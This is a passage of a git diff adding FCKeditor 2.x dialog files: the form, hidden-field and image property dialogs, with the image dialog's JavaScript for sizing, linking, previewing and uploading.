+ * File Name: fck_flash_preview.html
+ *     Preview page for the Flash dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title></title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+               <script language="javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+       document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+       window.parent.SetPreviewElement( document.body ) ;
+}
+
+               </script>
+       </head>
+       <body style="COLOR: #000000; BACKGROUND-COLOR: #ffffff"></body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_form.html b/fckeditor/editor/dialog/fck_form.html
new file mode 100755 (executable)
index 0000000..2984fd3
--- /dev/null
@@ -0,0 +1,109 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_form.html
+ *     Form dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( 'FORM' ) ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl ) 
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtAction').value = oActiveEl.getAttribute( 'action', 2 ) ;
+               GetE('txtMethod').value = oActiveEl.method ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'FORM' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+               oActiveEl.innerHTML = '&nbsp;' ;
+       }
+       
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'action'       , GetE('txtAction').value ) ;
+       oActiveEl.method = GetE('txtMethod').value ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table cellspacing="0" cellpadding="0" width="80%" border="0">
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormName">Name</span><br />
+                                                       <input style="width: 100%" type="text" id="txtName" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormAction">Action</span><br />
+                                                       <input style="width: 100%" type="text" id="txtAction" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormMethod">Method</span><br />
+                                                       <select id="txtMethod">
+                                                               <option value="get" selected="selected">GET</option>
+                                                               <option value="post">POST</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_hiddenfield.html b/fckeditor/editor/dialog/fck_hiddenfield.html
new file mode 100755 (executable)
index 0000000..b4c22c1
--- /dev/null
@@ -0,0 +1,99 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_hiddenfield.html
+ *     Hidden Field dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Hidden Field Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'hidden' ) 
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oActiveEl.value ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}      
+
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'hidden' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+       
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" class="inhoud" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgHiddenName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgHiddenValue">Value</span><br>
+                                                               <input type="text" size="30" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_image.html b/fckeditor/editor/dialog/fck_image.html
new file mode 100755 (executable)
index 0000000..8aacfca
--- /dev/null
@@ -0,0 +1,262 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image.html
+ *     Image Properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Image Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script src="fck_image/fck_image.js" type="text/javascript"></script>
+       <link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+</head>
+<body scroll="no" style="overflow: hidden">
+       <div id="divInfo">
+               <table cellspacing="1" cellpadding="1" border="0" width="100%" height="100%">
+                       <tr>
+                               <td>
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgImgURL">URL</span>
+                                                       </td>
+                                                       <td id="tdBrowse" style="display: none" nowrap="nowrap" rowspan="2">
+                                                               &nbsp;
+                                                               <input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server"
+                                                                       fcklang="DlgBtnBrowseServer" />
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td valign="top">
+                                                               <input id="txtUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td>
+                                       <span fcklang="DlgImgAlt">Short Description</span><br />
+                                       <input id="txtAlt" style="width: 100%" type="text" /><br />
+                               </td>
+                       </tr>
+                       <tr height="100%">
+                               <td valign="top">
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+                                               <tr>
+                                                       <td valign="top">
+                                                               <br />
+                                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgWidth">Width</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="3" id="txtWidth" onkeyup="OnSizeChanged('Width',this.value);" /></td>
+                                                                               <td rowspan="2">
+                                                                                       <div id="btnLockSizes" class="BtnLocked" onmouseover="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ) + ' BtnOver';"
+                                                                                               onmouseout="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' );" title="Lock Sizes"
+                                                                                               onclick="SwitchLock(this);">
+                                                                                       </div>
+                                                                               </td>
+                                                                               <td rowspan="2">
+                                                                                       <div id="btnResetSize" class="BtnReset" onmouseover="this.className='BtnReset BtnOver';"
+                                                                                               onmouseout="this.className='BtnReset';" title="Reset Size" onclick="ResetSizes();">
+                                                                                       </div>
+                                                                               </td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgHeight">Height</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="3" id="txtHeight" onkeyup="OnSizeChanged('Height',this.value);" /></td>
+                                                                       </tr>
+                                                               </table>
+                                                               <br />
+                                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgBorder">Border</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" value="" id="txtBorder" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgHSpace">HSpace</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" id="txtHSpace" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgVSpace">VSpace</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" id="txtVSpace" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgAlign">Align</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <select id="cmbAlign" onchange="UpdatePreview();">
+                                                                                               <option value="" selected="selected"></option>
+                                                                                               <option fcklang="DlgImgAlignLeft" value="left">Left</option>
+                                                                                               <!--
+                                                                                               <option fcklang="DlgImgAlignAbsBottom" value="absBottom">Abs Bottom</option>
+                                                                                               <option fcklang="DlgImgAlignAbsMiddle" value="absMiddle">Abs Middle</option>
+                                                                                               <option fcklang="DlgImgAlignBaseline" value="baseline">Baseline</option>
+                                                                                               <option fcklang="DlgImgAlignBottom" value="bottom">Bottom</option>
+                                                                                               <option fcklang="DlgImgAlignMiddle" value="middle">Middle</option>
+                                                                                               -->
+                                                                                               <option fcklang="DlgImgAlignRight" value="right">Right</option>
+                                                                                               <!--
+                                                                                               <option fcklang="DlgImgAlignTextTop" value="textTop">Text Top</option>
+                                                                                               <option fcklang="DlgImgAlignTop" value="top">Top</option>
+                                                                                               -->
+                                                                                       </select>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%" valign="top">
+                                                               <table cellpadding="0" cellspacing="0" width="100%" style="table-layout: fixed">
+                                                                       <tr>
+                                                                               <td>
+                                                                                       <span fcklang="DlgImgPreview">Preview</span></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td valign="top">
+                                                                                       <iframe class="ImagePreviewArea" src="fck_image/fck_image_preview.html" frameborder="0"
+                                                                                               marginheight="0" marginwidth="0"></iframe>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divUpload" style="display: none">
+               <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data"
+                       action="" onsubmit="return CheckUpload();">
+                       <span fcklang="DlgLnkUpload">Upload</span><br />
+                       <input id="txtUploadFile" style="width: 100%" type="file" size="40" name="NewFile" /><br />
+                       <br />
+                       <input id="btnUpload" type="submit" value="Send it to the Server" fcklang="DlgLnkBtnUpload" />
+                       <iframe name="UploadWindow" style="display: none" src="javascript:void(0)"></iframe>
+               </form>
+       </div>
+       <div id="divLink" style="display: none">
+               <table cellspacing="1" cellpadding="1" border="0" width="100%">
+                       <tr>
+                               <td>
+                                       <div>
+                                               <span fcklang="DlgLnkURL">URL</span><br />
+                                               <input id="txtLnkUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+                                       </div>
+                                       <!--
+                                       <div id="divLnkBrowseServer" align="right">
+                                               <input type="button" value="Browse Server" fcklang="DlgBtnBrowseServer" onclick="LnkBrowseServer();" />
+                                       </div>
+                                       -->
+                                       <div>
+                                               <span fcklang="DlgLnkTarget">Target</span><br />
+                                               <select id="cmbLnkTarget">
+                                                       <option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                       <option value="_blank" fcklang="DlgLnkTargetBlank">New Window (_blank)</option>
+                                                       <option value="_top" fcklang="DlgLnkTargetTop">Topmost Window (_top)</option>
+                                                       <option value="_self" fcklang="DlgLnkTargetSelf">Same Window (_self)</option>
+                                                       <option value="_parent" fcklang="DlgLnkTargetParent">Parent Window (_parent)</option>
+                                               </select>
+                                       </div>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divAdvanced" style="display: none">
+               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                       <tr>
+                               <td valign="top" width="50%">
+                                       <span fcklang="DlgGenId">Id</span><br />
+                                       <input id="txtAttId" style="width: 100%" type="text" />
+                               </td>
+                               <td width="1">
+                                       &nbsp;&nbsp;</td>
+                               <td valign="top">
+                                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                               <tr>
+                                                       <td width="60%">
+                                                               <span fcklang="DlgGenLangDir">Language Direction</span><br />
+                                                               <select id="cmbAttLangDir" style="width: 100%">
+                                                                       <option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                                       <option value="ltr" fcklang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+                                                                       <option value="rtl" fcklang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td width="1%">
+                                                               &nbsp;&nbsp;</td>
+                                                       <td nowrap="nowrap">
+                                                               <span fcklang="DlgGenLangCode">Language Code</span><br />
+                                                               <input id="txtAttLangCode" style="width: 100%" type="text" />&nbsp;
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       &nbsp;</td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       <span fcklang="DlgGenLongDescr">Long Description URL</span><br />
+                                       <input id="txtLongDesc" style="width: 100%" type="text" />
+                               </td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       &nbsp;</td>
+                       </tr>
+                       <tr>
+                               <td valign="top">
+                                       <span fcklang="DlgGenClass">Stylesheet Classes</span><br />
+                                       <input id="txtAttClasses" style="width: 100%" type="text" />
+                               </td>
+                               <td>
+                               </td>
+                               <td valign="top">
+                                       &nbsp;<span fcklang="DlgGenTitle">Advisory Title</span><br />
+                                       <input id="txtAttTitle" style="width: 100%" type="text" />
+                               </td>
+                       </tr>
+               </table>
+               <span fcklang="DlgGenStyle">Style</span><br />
+               <input id="txtAttStyle" style="width: 100%" type="text" />
+       </div>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_image/fck_image.js b/fckeditor/editor/dialog/fck_image/fck_image.js
new file mode 100755 (executable)
index 0000000..bc642dd
--- /dev/null
@@ -0,0 +1,490 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image.js
+ *     Scripts related to the Image dialog window (see fck_image.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+var FCKDebug   = oEditor.FCKDebug ;
+
+var bImageButton = ( document.location.search.length > 0 && document.location.search.substr(1) == 'ImageButton' ) ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgImgInfoTab ) ;
+
+if ( !bImageButton && !FCKConfig.ImageDlgHideLink )
+       window.parent.AddTab( 'Link', FCKLang.DlgImgLinkTab ) ;
+
+//if ( FCKConfig.ImageUpload )
+//     window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.ImageDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divLink'         , ( tabCode == 'Link' ) ) ;
+       //ShowE('divUpload'     , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAdvanced'     , ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected image (if available).
+var oImage = FCK.Selection.GetSelectedElement() ;
+
+if ( oImage && oImage.tagName != 'IMG' && !( oImage.tagName == 'INPUT' && oImage.type == 'image' ) )
+       oImage = null ;
+
+// Get the active link.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+
+var oImageOriginal ;
+
+function UpdateOriginal( resetSize )
+{
+       if ( !eImgPreview )
+               return ;
+       
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               oImageOriginal = null ;
+               return ;
+       }
+               
+       oImageOriginal = document.createElement( 'IMG' ) ;      // new Image() ;
+
+       if ( resetSize )
+       {
+               oImageOriginal.onload = function()
+               {
+                       this.onload = null ;
+                       ResetSizes() ;
+               }
+       }
+
+       oImageOriginal.src = eImgPreview.src ;
+}
+
+var bPreviewInitialized ;
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       GetE('btnLockSizes').title = FCKLang.DlgImgLockRatio ;
+       GetE('btnResetSize').title = FCKLang.DlgBtnResetSize ;
+
+       // Load the selected element information (if any).
+       LoadSelection() ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display                          = FCKConfig.ImageBrowser        ? '' : 'none' ;
+       //GetE('divLnkBrowseServer').style.display      = FCKConfig.LinkBrowser         ? '' : 'none' ;
+
+       UpdateOriginal() ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.ImageUpload )
+               GetE('frmUpload').action = FCKConfig.ImageUploadURL ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+       if ( ! oImage ) return ;
+
+       var sUrl = oImage.getAttribute( '_fcksavedurl' ) ;
+       if ( sUrl == null )
+               sUrl = GetAttribute( oImage, 'src', '' ) ;
+
+       GetE('txtUrl').value    = sUrl ;
+       GetE('txtAlt').value    = GetAttribute( oImage, 'alt', '' ) ;
+       GetE('txtVSpace').value = GetAttribute( oImage, 'vspace', '' ) ;
+       GetE('txtHSpace').value = GetAttribute( oImage, 'hspace', '' ) ;
+       GetE('txtBorder').value = GetAttribute( oImage, 'border', '' ) ;
+       GetE('cmbAlign').value  = GetAttribute( oImage, 'align', '' ) ;
+
+       var iWidth, iHeight ;
+
+       var regexSize = /^\s*(\d+)px\s*$/i ;
+       
+       if ( oImage.style.width )
+       {
+               var aMatchW  = oImage.style.width.match( regexSize ) ;
+               if ( aMatchW )
+               {
+                       iWidth = aMatchW[1] ;
+                       oImage.style.width = '' ;
+               }
+       }
+
+       if ( oImage.style.height )
+       {
+               var aMatchH  = oImage.style.height.match( regexSize ) ;
+               if ( aMatchH )
+               {
+                       iHeight = aMatchH[1] ;
+                       oImage.style.height = '' ;
+               }
+       }
+
+       GetE('txtWidth').value  = iWidth ? iWidth : GetAttribute( oImage, "width", '' ) ;
+       GetE('txtHeight').value = iHeight ? iHeight : GetAttribute( oImage, "height", '' ) ;
+
+       // Get Advances Attributes
+       GetE('txtAttId').value                  = oImage.id ;
+       GetE('cmbAttLangDir').value             = oImage.dir ;
+       GetE('txtAttLangCode').value    = oImage.lang ;
+       GetE('txtAttTitle').value               = oImage.title ;
+       GetE('txtLongDesc').value               = oImage.longDesc ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               GetE('txtAttClasses').value = oImage.getAttribute('className') || '' ;
+               GetE('txtAttStyle').value = oImage.style.cssText ;
+       }
+       else
+       {
+               GetE('txtAttClasses').value = oImage.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value = oImage.getAttribute('style',2) ;
+       }
+
+       if ( oLink )
+       {
+               var sLinkUrl = oLink.getAttribute( '_fcksavedurl' ) ;
+               if ( sLinkUrl == null )
+                       sLinkUrl = oLink.getAttribute('href',2) ;
+       
+               GetE('txtLnkUrl').value         = sLinkUrl ;
+               GetE('cmbLnkTarget').value      = oLink.target ;
+       }
+
+       UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               window.parent.SetSelectedTab( 'Info' ) ;
+               GetE('txtUrl').focus() ;
+
+               alert( FCKLang.DlgImgAlertUrl ) ;
+
+               return false ;
+       }
+
+       var bHasImage = ( oImage != null ) ;
+
+       if ( bHasImage && bImageButton && oImage.tagName == 'IMG' )
+       {
+               if ( confirm( 'Do you want to transform the selected image on a image button?' ) )
+                       oImage = null ;
+       }
+       else if ( bHasImage && !bImageButton && oImage.tagName == 'INPUT' )
+       {
+               if ( confirm( 'Do you want to transform the selected image button on a simple image?' ) )
+                       oImage = null ;
+       }
+       
+       if ( !bHasImage )
+       {
+               if ( bImageButton )
+               {
+                       oImage = FCK.EditorDocument.createElement( 'INPUT' ) ;
+                       oImage.type = 'image' ;
+                       oImage = FCK.InsertElementAndGetIt( oImage ) ;
+               }
+               else
+                       oImage = FCK.CreateElement( 'IMG' ) ;
+       }
+       else
+               oEditor.FCKUndo.SaveUndoStep() ;
+       
+       UpdateImage( oImage ) ;
+
+       var sLnkUrl = GetE('txtLnkUrl').value.Trim() ;
+
+       if ( sLnkUrl.length == 0 )
+       {
+               if ( oLink )
+                       FCK.ExecuteNamedCommand( 'Unlink' ) ;
+       }
+       else
+       {
+               if ( oLink )    // Modifying an existent link.
+                       oLink.href = sLnkUrl ;
+               else                    // Creating a new link.
+               {
+                       if ( !bHasImage )
+                               oEditor.FCKSelection.SelectNode( oImage ) ;
+
+                       oLink = oEditor.FCK.CreateLink( sLnkUrl ) ;
+
+                       if ( !bHasImage )
+                       {
+                               oEditor.FCKSelection.SelectNode( oLink ) ;
+                               oEditor.FCKSelection.Collapse( false ) ;
+                       }
+               }
+
+               SetAttribute( oLink, '_fcksavedurl', sLnkUrl ) ;
+               SetAttribute( oLink, 'target', GetE('cmbLnkTarget').value ) ;
+       }
+
+       return true ;
+}
+
+function UpdateImage( e, skipId )
+{
+       e.src = GetE('txtUrl').value ;
+       SetAttribute( e, "_fcksavedurl", GetE('txtUrl').value ) ;
+       SetAttribute( e, "alt"   , GetE('txtAlt').value ) ;
+       SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+       SetAttribute( e, "height", GetE('txtHeight').value ) ;
+       SetAttribute( e, "vspace", GetE('txtVSpace').value ) ;
+       SetAttribute( e, "hspace", GetE('txtHSpace').value ) ;
+       SetAttribute( e, "border", GetE('txtBorder').value ) ;
+       SetAttribute( e, "align" , GetE('cmbAlign').value ) ;
+
+       // Advances Attributes
+
+       if ( ! skipId )
+               SetAttribute( e, 'id', GetE('txtAttId').value ) ;
+
+       SetAttribute( e, 'dir'          , GetE('cmbAttLangDir').value ) ;
+       SetAttribute( e, 'lang'         , GetE('txtAttLangCode').value ) ;
+       SetAttribute( e, 'title'        , GetE('txtAttTitle').value ) ;
+       SetAttribute( e, 'class'        , GetE('txtAttClasses').value ) ;
+       SetAttribute( e, 'longDesc'     , GetE('txtLongDesc').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               e.style.cssText = GetE('txtAttStyle').value ;
+       else
+               SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+}
+
+var eImgPreview ;
+var eImgPreviewLink ;
+
+function SetPreviewElements( imageElement, linkElement )
+{
+       eImgPreview = imageElement ;
+       eImgPreviewLink = linkElement ;
+
+       UpdatePreview() ;
+       UpdateOriginal() ;
+       
+       bPreviewInitialized = true ;
+}
+
+function UpdatePreview()
+{
+       if ( !eImgPreview || !eImgPreviewLink )
+               return ;
+
+       if ( GetE('txtUrl').value.length == 0 )
+               eImgPreviewLink.style.display = 'none' ;
+       else
+       {
+               UpdateImage( eImgPreview, true ) ;
+
+               if ( GetE('txtLnkUrl').value.Trim().length > 0 )
+                       eImgPreviewLink.href = 'javascript:void(null);' ;
+               else
+                       SetAttribute( eImgPreviewLink, 'href', '' ) ;
+
+               eImgPreviewLink.style.display = '' ;
+       }
+}
+
+var bLockRatio = true ;
+
+function SwitchLock( lockButton )
+{
+       bLockRatio = !bLockRatio ;
+       lockButton.className = bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ;
+       lockButton.title = bLockRatio ? 'Lock sizes' : 'Unlock sizes' ;
+
+       if ( bLockRatio )
+       {
+               if ( GetE('txtWidth').value.length > 0 )
+                       OnSizeChanged( 'Width', GetE('txtWidth').value ) ;
+               else
+                       OnSizeChanged( 'Height', GetE('txtHeight').value ) ;
+       }
+}
+
+// Fired when the width or height input texts change
+function OnSizeChanged( dimension, value )
+{
+       // Verifies if the aspect ration has to be mantained
+       if ( oImageOriginal && bLockRatio )
+       {
+               var e = dimension == 'Width' ? GetE('txtHeight') : GetE('txtWidth') ;
+               
+               if ( value.length == 0 || isNaN( value ) )
+               {
+                       e.value = '' ;
+                       return ;
+               }
+
+               if ( dimension == 'Width' )
+                       value = value == 0 ? 0 : Math.round( oImageOriginal.height * ( value  / oImageOriginal.width ) ) ;
+               else
+                       value = value == 0 ? 0 : Math.round( oImageOriginal.width  * ( value / oImageOriginal.height ) ) ;
+
+               if ( !isNaN( value ) )
+                       e.value = value ;
+       }
+
+       UpdatePreview() ;
+}
+
+// Fired when the Reset Size button is clicked
+function ResetSizes()
+{
+       if ( ! oImageOriginal ) return ;
+
+       GetE('txtWidth').value  = oImageOriginal.width ;
+       GetE('txtHeight').value = oImageOriginal.height ;
+
+       UpdatePreview() ;
+}
+
+function BrowseServer()
+{
+       OpenServerBrowser(
+               'Image',
+               FCKConfig.ImageBrowserURL,
+               FCKConfig.ImageBrowserWindowWidth,
